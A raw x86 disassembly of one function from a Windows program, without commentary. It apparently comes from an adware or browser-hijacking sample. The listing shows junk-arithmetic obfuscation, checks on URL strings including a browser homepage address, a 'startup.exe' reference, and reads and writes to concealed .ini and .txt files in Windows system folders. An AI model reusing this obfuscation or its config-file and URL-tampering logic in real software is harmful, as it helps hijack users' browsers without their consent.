mov eax, 0x3ac7f767
imul ecx
sar edx, 0x17
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x62ace781
imul esi
sar edx, 0x19
add edi, edx
mov ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x5305094
shr ecx, 0x1f
add ecx, edi
add ecx, edx
mov eax, 0x936c7f27
imul esi
add edx, esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x360833b
sub ecx, eax
sub ecx, edx
mov eax, 0x7f3171f
imul esi
mov esi, dword [0x456828]
sar edx, 0x15
mov dword [0x456818], ecx
imul ecx, ecx, 0x3422234
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x61bc1a5d
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x53d1950
sub ecx, eax
add ecx, edx
mov eax, 0x979d1eb7
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10dc]
lea edx, [ebp - 0x10fc]
push edx
mov dword [0x456834], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10fc]
push eax
call fcn.00420220
mov ecx, dword [0x45682c]
mov esi, dword [str._r_____r____]
mov ebx, eax
imul esi, esi, 0x4067eec
mov eax, 0x7f3171f
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0xde454f
sub esi, eax
mov edi, dword [0x456834]
add esi, edx
mov edx, dword [0x456820]
mov eax, 0x31a5bd5f
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, edi
sub esi, 0x5305094
test ebx, ebx
mov dword [ebp - 0x10c8], ebx
mov dword [0x456820], esi
je 0x41cb3e
mov edi, 0x447324
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x41cb38
mov ecx, dword [0x456838]
mov eax, 0x94723637
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x63510a67
imul ecx
imul ecx, ecx, 0x5305094
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
mov ecx, dword [0x45681c]
imul ecx, ecx, 0x3422234
add esi, ecx
mov ecx, dword [0x456824]
mov eax, 0x61bc1a5d
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push 1
mov dword [0x456828], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10dc]
mov ecx, dword [eax]
lea edx, [ebp - 0x10fc]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10fc]
push eax
call fcn.00420220
mov ebx, eax
mov dword [ebp - 0x10c8], ebx
mov ecx, dword [0x45682c]
mov esi, dword [0x456828]
imul ecx, ecx, 0x5305094
mov edx, dword [0x456824]
imul esi, esi, 0x22d753a
imul edx, edx, 0xdef222
sub esi, edx
sub esi, ecx
mov ecx, dword [0x45681c]
mov eax, 0x31a5bd5f
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
push 4
add eax, edx
sub esi, eax
push str.http
push ebx
mov dword [0x456830], esi
call fcn.0042b4f0
add esp, 0xc
test eax, eax
je 0x41cdbd
push 4
push str.HTTP
push ebx
call fcn.0042b4f0
add esp, 0xc
test eax, eax
je 0x41cdbd
push 4
push str.www.
push ebx
call fcn.0042b4f0
add esp, 0xc
test eax, eax
je 0x41cdbd
push 4
push str.WWW.
push ebx
call fcn.0042b4f0
add esp, 0xc
test eax, eax
je 0x41cdbd
push str.http:
push ebx
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41cc2b
push str.HTTP:
push ebx
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41cc2b
push str.www.
push ebx
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41cc2b
push str.WWW.
push ebx
call fcn.0042ade0
add esp, 8
test eax, eax
je 0x41cdbd
mov ecx, dword [str._r_____r____]
mov esi, dword [0x456834]
mov eax, 0x3ac7f767
imul esi, esi, 0xfacfaf6c
imul ecx
sar edx, 0x17
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456820]
imul edx, edx, 0x2a93aa6
sub esi, ecx
mov ecx, dword [0x45682c]
sub esi, edx
mov eax, 0x13a45601
imul ecx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
push str.http:
push ebx
mov dword [0x456838], eax
call fcn.0042ade0
add esp, 8
test eax, eax
je 0x41cd65
push str.http:
jmp 0x41cdae
mov edx, dword [0x456820]
imul ecx, ecx, 0x360833b
mov esi, dword [0x456834]
mov eax, 0x3ac7f767
imul edx
sar edx, 0x17
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x62ace781
imul esi
sar edx, 0x19
mov ebx, edx
add edi, edx
mov edx, dword [0x456818]
imul edx, edx, 0x5305094
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, 0x936c7f27
imul esi
add edx, esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, ecx
push str.startup.exe
mov dword [0x456818], ebx
call fcn.0040c550
add esp, 4
test eax, eax
jle 0x41c175
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 5
je 0x41cd26
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 4
je 0x41cd3a
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41cd4e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 1
je 0x41da7a
jmp 0x41da74
push str.HTTP:
push ebx
call fcn.0042ade0
add esp, 8
test eax, eax
je 0x41cd7e
push str.HTTP:
jmp 0x41cdae
push str.www.
push ebx
call fcn.0042ade0
add esp, 8
test eax, eax
je 0x41cd97
push str.www.
jmp 0x41cdae
push str.WWW.
push ebx
call fcn.0042ade0
add esp, 8
test eax, eax
je 0x41cdbd
push str.WWW.
push ebx
call fcn.0042ade0
add esp, 8
mov dword [ebp - 0x10c8], eax
mov esi, dword [0x456824]
mov eax, 0x7f3171f
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10f8], eax
mov eax, 0x61bc1a5d
imul esi
sar edx, 0x19
mov ebx, dword [0x456838]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, dword [ebp - 0x10f8]
sub esi, eax
mov edi, dword [0x456830]
mov eax, 0x979d1eb7
imul edi, edi, 0x293deaa
imul dword [0x45681c]
add edx, dword [0x45681c]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edx, dword [0x447c74]
mov ecx, ebx
imul ecx, ecx, 0x372f5c1
xor eax, eax
mov dword [ebp - 0x10f4], ecx
add esi, edi
add esi, ecx
mov dword [ebp - 0x1100], edi
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x447c78]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x447c7c]
mov dword [ebp - 0x4c0], edx
mov dx, word [0x447c80]
xor eax, eax
mov dword [ebp - 0x4b8], ecx
mov word [ebp - 0x4b4], dx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x13a45601
imul dword [0x45681c]
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x61bc1a5d
imul ebx
sar edx, 0x19
mov eax, edx
add ecx, edx
mov edx, dword [ebp - 0x10f4]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [ebp - 0x1100]
sub eax, edx
sub eax, esi
lea edx, [eax + ecx + 0x294039f]
mov eax, dword [ebp - 0x10c8]
mov dword [str._r_____r____], esi
mov dword [0x45681c], edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41cef7
sub eax, esi
mov esi, dword [ebp - 0x10c8]
mov dword [ebp - 0x1100], eax
je 0x41d045
push str.http:__
push esi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d02a
push str.HTTP:__
push esi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d02a
push str.www.
push esi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d02a
push str.WWW.
push esi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d02a
push str..COM
push esi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d02a
push str..com
push esi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d02a
push str..NET
push esi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d02a
push str..net
push esi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d02a
push str..ORG
push esi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d02a
push str..org
push esi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d02a
push 0x447c2c
push esi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d02a
push 0x447c28
push esi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d02a
push str..htm
push esi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d02a
push str..HTM
push esi
call fcn.0042ade0
add esp, 8
test eax, eax
je 0x41d03f
push esi
lea eax, [ebp - 0x4c4]
push str.__s_
push eax
call fcn.0042a341
add esp, 0xc
mov ebx, dword [0x456838]
mov ecx, dword [0x456824]
imul ebx, ebx, 0x372f5c1
mov eax, 0x7f3171f
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x456830]
imul eax, eax, 0x293deaa
add ebx, eax
mov eax, 0x61bc1a5d
imul ecx
mov ecx, dword [0x45681c]
sar edx, 0x19
mov edi, edx
add ebx, edx
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
push str.C:WINDOWS_system_sdax.txt
shr ecx, 0x1f
push 0x400
add ecx, edx
lea edx, [ebp - 0x8c4]
push edx
shr edi, 0x1f
push 0x446e15
add edi, ebx
push str.rtgbh
sub edi, ecx
push str.asdf
mov dword [str._r_____r____], edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test esi, esi
je 0x41d206
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x41d0d6
sub esi, ecx
mov dword [ebp - 0x1100], esi
je 0x41d206
mov esi, dword [ebp - 0x10c8]
mov edi, 0x447324
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x41d206
mov edi, dword [ebp - 0x10c8]
lea ecx, [ebp - 0x144]
push ecx
push edi
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d18b
lea edx, [ebp - 0x144]
push edi
push edx
call fcn.0042ade0
add esp, 8
test eax, eax
jne 0x41d18b
mov esi, str.http:__i.maxthon.cn_
mov eax, edi
lea ebx, [ebx]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x41d168
test cl, cl
je 0x41d164
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x41d168
add eax, 2
add esi, 2
test cl, cl
jne 0x41d140
xor eax, eax
jmp 0x41d16d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41d18b
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.0042ade0
add esp, 8
test eax, eax
je 0x41d19f
lea edx, [ebp - 0x1c4]
push edx
push edi
call fcn.0042ade0
add esp, 8
test eax, eax
je 0x41d206
mov edi, dword [str._r_____r____]
mov ebx, dword [0x456818]
mov eax, 0x7f3171f
imul dword [0x45682c]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, edi
imul ecx, ecx, 0x4067eec
mov edx, ebx
imul edx, edx, 0xde454f
sub ecx, eax
mov esi, dword [0x456834]
add ecx, edx
mov edx, dword [0x456820]
mov eax, 0x31a5bd5f
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, esi
sub ecx, 0x5305094
mov dword [0x456820], ecx
jmp 0x41d2b3
push 0
call fcn.0042a977
mov ecx, dword [0x56a654]
mov dword [0x56a650], eax
add esp, 4
inc ecx
mov dword [0x56a654], ecx
mov ecx, dword [0x456838]
mov eax, 0x94723637
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x63510a67
imul ecx
imul ecx, ecx, 0x5305094
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
mov ecx, dword [0x45681c]
imul ecx, ecx, 0x3422234
add esi, ecx
mov ecx, dword [0x456824]
mov eax, 0x61bc1a5d
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d0]
sub esi, eax
mov eax, dword [ebp - 0x10dc]
push edx
mov dword [0x456828], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x9c]
mov edi, dword [str._r_____r____]
mov ebx, dword [0x456818]
mov esi, dword [0x456834]
mov ecx, dword [0x456820]
mov eax, 0x3ac7f767
imul ebx, ebx, 0x5305094
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10d0], eax
mov eax, 0x62ace781
imul esi
mov eax, dword [ebp - 0x10d0]
sar edx, 0x19
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0x936c7f27
imul esi
add edx, esi
sar edx, 0x17
mov eax, edx
add ecx, ebx
mov ebx, dword [0x456830]
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x360833b
sub ecx, eax
mov eax, dword [ebp - 0x10d4]
sub ecx, edx
test eax, eax
mov dword [0x456818], ecx
je 0x41d85f
lea edx, [eax + 1]
mov dword [ebp - 0x10d0], edx
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41d330
sub eax, dword [ebp - 0x10d0]
mov dword [ebp - 0x10d0], eax
je 0x41d85f
mov eax, dword [0x456828]
imul ecx, ecx, 0x293deaa
imul edi, edi, 0x53d1950
imul eax, eax, 0xde454f
add ecx, eax
mov eax, 0x13a45601
imul dword [0x45682c]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, ebx
lea ecx, [edi + ecx - 0x5305094]
push 0xffffffffffffffff
mov dword [0x456824], ecx
push 0x55a230
lea ecx, [ebp - 0x1140]
call fcn.00405b60
mov ebx, dword [0x456828]
mov edx, dword [0x456824]
mov eax, dword [0x45682c]
imul edx, edx, 0xdef222
imul eax, eax, 0x5305094
mov ecx, ebx
imul ecx, ecx, 0x22d753a
mov esi, dword [ebp - 0x10d4]
sub ecx, edx
sub ecx, eax
mov eax, 0x31a5bd5f
imul dword [0x45681c]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov byte [ebp - 4], 7
mov dword [0x456830], ecx
mov edi, 0x559a28
nop
mov dl, byte [esi]
mov al, dl
cmp dl, byte [edi]
jne 0x41d414
test al, al
je 0x41d410
mov dl, byte [esi + 1]
mov al, dl
cmp dl, byte [edi + 1]
jne 0x41d414
add esi, 2
add edi, 2
test al, al
jne 0x41d3f0
xor eax, eax
jmp 0x41d419
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41d844
mov esi, dword [0x456838]
imul ecx, ecx, 0x293deaa
mov eax, esi
imul eax, eax, 0x372f5c1
sub ecx, eax
mov eax, 0x13a45601
imul dword [0x45681c]
sar edx, 0x16
add ecx, edx
mov edi, edx
mov eax, 0x61bc1a5d
imul esi
mov eax, dword [ebp - 0x10d4]
shr edi, 0x1f
add edi, ecx
sar edx, 0x19
mov ecx, edx
add edi, edx
mov edx, dword [str._r_____r____]
shr ecx, 0x1f
add ecx, edi
sub ecx, edx
add ecx, 0x294039f
mov dword [0x45681c], ecx
lea edi, [eax + 1]
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41d480
sub eax, edi
cmp eax, 0x800
jae 0x41d4af
mov ecx, dword [ebp - 0x10d4]
mov edx, 0x559a28
jmp 0x41d4a0
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41d4a0
jmp 0x41d531
mov eax, 0x94723637
imul ecx, ecx, 0x3422234
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x63510a67
imul esi
imul esi, esi, 0x5305094
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x61bc1a5d
imul dword [0x456824]
sub edi, esi
add edi, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10d4]
sub edi, ecx
push 0x7ff
mov dword [0x456828], edi
push edx
xor eax, eax
mov ecx, 0x200
mov edi, 0x559a28
push 0x559a28
rep stosd dword es:[edi], eax
call fcn.0042b3c0
mov ebx, dword [0x456828]
add esp, 0xc
mov ecx, dword [0x456834]
mov eax, 0x7f3171f
imul ecx
mov ecx, dword [0x456818]
sar edx, 0x15
imul ecx, ecx, 0x3422234
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x61bc1a5d
imul ebx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x53d1950
sub ecx, eax
add ecx, edx
mov eax, 0x979d1eb7
imul ebx
add edx, ebx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x559128
mov dword [0x456834], ecx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d596
sub eax, edx
cmp eax, 5
jbe 0x41d844
mov ecx, dword [ebp - 0x10d4]
push str.ConfigL6
push ecx
call fcn.004042c0
add esp, 8
test eax, eax
jne 0x41d844
mov ecx, dword [str._r_____r____]
mov esi, dword [0x456834]
mov eax, 0x3ac7f767
imul esi, esi, 0xfacfaf6c
imul ecx
mov ecx, dword [0x456820]
sar edx, 0x17
imul ecx, ecx, 0x2a93aa6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
mov ecx, dword [0x45682c]
mov eax, 0x13a45601
imul ecx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
push 0x132b600
mov dword [0x456838], eax
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 4
xor esi, esi
cmp esi, 0x64
jge 0x41d6bb
mov ecx, dword [0x456824]
mov edi, dword [0x456838]
mov eax, 0x7f3171f
imul edi, edi, 0x372f5c1
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x293deaa
sub edi, eax
add edi, edx
mov eax, 0x61bc1a5d
imul ecx
mov ecx, dword [0x45681c]
sar edx, 0x19
mov ebx, edx
add edi, edx
mov eax, 0x979d1eb7
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr ebx, 0x1f
shr eax, 0x1f
add ebx, edi
add eax, edx
sub ebx, eax
push 0x64
mov dword [str._r_____r____], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x559128
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d6a4
sub eax, edx
mov dword [ebp - 0x10d0], eax
je 0x41d6bb
inc esi
jmp 0x41d624
mov ecx, dword [0x456838]
mov esi, dword [0x456830]
mov edx, ecx
imul esi, esi, 0x293deaa
imul edx, edx, 0x372f5c1
sub esi, edx
mov edx, dword [0x45681c]
mov eax, 0x13a45601
imul edx
sar edx, 0x16
add esi, edx
mov edi, edx
mov eax, 0x61bc1a5d
imul ecx
push str.C:WINDOWS_system32driversetc_service5.ini
sar edx, 0x19
shr edi, 0x1f
push 0x800
add edi, esi
mov esi, dword [str._r_____r____]
mov eax, edx
shr eax, 0x1f
lea ecx, [ebp - 0x10c4]
push ecx
add edi, edx
add eax, edi
push 0x446e15
sub eax, esi
push str.ConfigL5
add eax, 0x294039f
push str.GameType1
mov dword [0x45681c], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esi, dword [0x456818]
mov edx, dword [0x456828]
imul esi, esi, 0x293deaa
mov ecx, dword [0x45682c]
imul edx, edx, 0xde454f
mov ebx, dword [0x456830]
add esi, edx
mov eax, 0x13a45601
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x16
imul ecx, ecx, 0x53d1950
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ebx
lea eax, [ebp - 0x10c4]
lea edx, [ecx + esi - 0x5305094]
push eax
mov dword [0x456824], edx
call fcn.0042a972
inc eax
push eax
lea ecx, [ebp - 0x10c4]
push 0x446b00
push ecx
call fcn.0042a341
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea edx, [ebp - 0x10c4]
push edx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x456820]
mov eax, 0x7f3171f
imul ecx
mov eax, dword [0x456830]
sar edx, 0x15
imul eax, eax, 0x22d753a
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45682c]
imul edx, edx, 0x5305094
add edi, eax
add edi, edx
mov esi, dword [0x45681c]
imul ecx, ecx, 0x360833b
mov eax, 0x936c7f27
imul esi
add edx, esi
mov esi, dword [0x559120]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
inc esi
push 0
mov dword [0x45682c], edi
mov dword [0x559120], esi
call fcn.0042a977
add esp, 4
mov dword [0x559124], eax
lea ecx, [ebp - 0x1140]
mov byte [ebp - 4], 6
call fcn.00405bf0
mov ecx, dword [0x456818]
mov esi, dword [0x456834]
mov eax, 0x7f3171f
imul ecx, ecx, 0x3422234
imul esi
mov esi, dword [0x456828]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x61bc1a5d
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x53d1950
sub ecx, eax
add ecx, edx
mov eax, 0x979d1eb7
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push ecx
mov dword [0x456834], ecx
mov ecx, dword [ebp - 0x10cc]
mov eax, esp
mov dword [eax], ecx
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov dword [ebp - 0x10d0], esp
je 0x41d8d7
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x56a378
call fcn.004069a0
mov ecx, dword [0x456820]
mov eax, 0x3ac7f767
imul ecx
mov ecx, dword [0x456834]
sar edx, 0x17
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x62ace781
imul ecx
mov eax, dword [0x456818]
sar edx, 0x19
imul eax, eax, 0x5305094
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0x936c7f27
imul ecx
mov eax, dword [ebp - 0x10cc]
add edx, ecx
sar edx, 0x17
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456830]
imul edx, edx, 0x360833b
sub edi, ecx
sub edi, edx
push 0
push eax
mov dword [0x456818], edi
call fcn.00408710
mov esi, dword [str._r_____r____]
mov eax, 0x7f3171f
imul esi, esi, 0x4067eec
imul dword [0x45682c]
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0xde454f
sub esi, ecx
mov ecx, dword [0x456820]
add esi, edx
mov eax, 0x31a5bd5f
imul ecx
mov ecx, dword [0x456834]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
add esp, 8
sub esi, 0x5305094
mov dword [0x456820], esi
mov ecx, dword [0x456838]
mov eax, 0x94723637
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x63510a67
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x45681c]
imul eax, eax, 0x3422234
mov edx, ecx
imul edx, edx, 0x5305094
sub esi, edx
add esi, eax
mov eax, 0x61bc1a5d
imul dword [0x456824]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov dword [0x456828], esi
mov byte [ebp - 4], 5
je 0x41da32
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x456838]
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 4
je 0x41da4c
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x456838]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41da66
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x456838]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 1
je 0x41da80
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x456838]
mov eax, dword [ebp - 0x10ec]
mov esi, dword [0x456830]
mov edi, dword [0x45681c]
inc eax
mov dword [ebp - 0x10ec], eax
jmp 0x41ba80
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 0
je 0x41dab2
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x456828]
mov eax, dword [0x456824]
imul ecx, ecx, 0x22d753a
imul eax, eax, 0xdef222
sub ecx, eax
mov eax, dword [0x45682c]
imul eax, eax, 0x5305094
sub ecx, eax
mov eax, 0x31a5bd5f
imul dword [0x45681c]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10f0]
mov dword [0x456830], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0042a171
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret